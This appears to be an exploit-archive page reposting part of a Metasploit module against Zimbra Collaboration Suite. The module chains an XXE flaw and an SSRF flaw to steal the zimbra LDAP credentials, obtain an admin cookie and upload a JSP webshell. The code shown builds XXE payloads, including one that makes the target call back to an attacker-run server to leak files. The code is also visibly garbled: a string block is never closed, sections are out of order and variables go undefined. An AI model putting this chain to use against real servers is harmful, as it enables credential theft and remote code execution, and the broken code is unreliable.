Exploits / Vulnerability Discovered : 2019-04-12 |
Type : remote |
Platform : linux
This exploit / vulnerability Zimbra collaboration autodiscover servlet xxe and proxyservlet ssrf (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Zimbra Collaboration Autodiscover Servlet XXE and ProxyServlet SSRF',
'Description' => %q{
This module exploits an XML external entity vulnerability and a
server side request forgery to get unauthenticated code execution
on Zimbra Collaboration Suite. The XML external entity vulnerability
in the Autodiscover Servlet is used to read a Zimbra configuration
file that contains an LDAP password for the 'zimbra' account. The
zimbra credentials are then used to get a user authentication cookie
with an AuthRequest message. Using the user cookie, a server side request
forgery in the Proxy Servlet is used to proxy an AuthRequest with
the 'zimbra' credentials to the admin port to retrieve an admin
cookie. After gaining an admin cookie the Client Upload servlet is
used to upload a JSP webshell that can be triggered from the web
server to get command execution on the host. The issues reportedly
affect Zimbra Collaboration Suite v8.5 to v8.7.11.
register_options [
OptString.new('TARGETURI', [true, 'Zimbra application base path', '/']),
OptInt.new('HTTPDELAY', [true, 'Number of seconds the web server will wait before termination', 10])
]
end
def xxe_req(data)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri, '/autodiscover'),
'encode_params' => false,
'data' => data
})
fail_with(Failure::Unknown, 'Request failed') unless res && res.code == 503
res
end
def soap_discover(check_soap=false)
xml = REXML::Document.new
res = "<!DOCTYPE #{doc} [<!ELEMENT #{doc} ANY>"
if check_soap
local = "file://#{local_file}"
res << "<!ENTITY #{entity} SYSTEM '#{local}'>]>"
res << "#{xml.to_s.sub(replace_text, "&#{entity};")}"
else
local = "http://#{srvhost_addr}:#{srvport}#{@service_path}"
res << "<!ENTITY % #{entity} SYSTEM '#{local}'>"
res << "%#{entity};]>"
res << "#{xml.to_s.sub(replace_text, "&#{@ent_data};")}"
end
res
end